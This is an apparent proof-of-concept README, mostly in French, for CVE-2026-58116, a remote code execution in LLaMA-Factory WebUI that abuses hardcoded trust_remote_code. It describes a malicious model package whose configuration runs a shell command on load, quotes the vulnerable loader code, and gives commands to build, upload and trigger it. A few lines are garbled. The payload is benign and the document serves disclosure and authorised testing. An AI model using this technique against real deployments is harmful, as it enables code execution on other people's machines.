Preuve de concept d'exploitation pour CVE-2026-58116 démontrant l'exécution de code à distance dans LLaMA-Factory WebUI via l'injection de chemin de modèle trust_remote_code. Inclut un modèle de payload et un script de vérification pour les tests de sécurité autorisés.
trust_remote_codePreuve de concept pour CVE-2026-58116 (CVSS 9.8 Critique) : exécution de code à distance dans LLaMA-Factory <= v0.9.5.
La WebUI de LLaMA-Factory encode en dur trust_remote_code=True lors du chargement d'un modèle (src/llamafactory/webui/chatter.py:139 et runner.py:175,320). Le champ « Model path », contrôlé par l'attaquant, est transmis sans validation à AutoTokenizer.from_pretrained() / AutoModel.from_pretrained(), si bien que la bibliothèque transformers de Hugging Face télécharge et depuis un dépôt de modèle malveillant.
Ce PoC est réservé aux tests de sécurité autorisés et à l'éducation. La charge utile incluse est volontairement inoffensive (elle affiche des informations de reconnaissance sur l'hôte via id). Exécutez-la uniquement contre des systèmes que vous possédez ou que vous êtes autorisé à tester. Ne déployez jamais une charge utile malveillante contre une infrastructure sans autorisation explicite.
.
├── poc-model/
│ ├── config.json # declares auto_map → attacker modules
│ ├── configuration_poc.py # payload: runs os.system("id ...") at config load
│ ├── modeling_poc.py # minimal stub model class
│ └── __init__.py # makes it an importable package
└── build_and_verify.py # assemble + verify the sink in isolation
transformers instancie la classe de configuration avant de charger les poids, donc la charge utile dans PoCConfig.__init__ se déclenche dès que la configuration est lue — aucun poids ne doit exister. C'est exactement le chemin que LLaMA-Factory atteint via src/llamafactory/model/loader.py :
def _get_init_kwargs(model_args):
return {"trust_remote_code": model_args.trust_remote_code, ...} # True (hardcoded)
def load_tokenizer(model_args):
init_kwargs = _get_init_kwargs(model_args)
tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)
Vérifiez le sink localement (aucune WebUI requise — prouve le contrat que la WebUI enfreint) :
pip install transformers torch
python3 build_and_verify.py
Sortie attendue — remarquez que le bandeau de la charge utile apparaît pendant le chargement de la configuration :
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
time : 2026-07-02T...
host : gpu-host-01
user : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)
De bout en bout via une WebUI LLaMA-Factory en cours d'exécution :
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
llamafactory-cli webuiyour-user/llmfcty-poc, puis cliquez sur Load Model.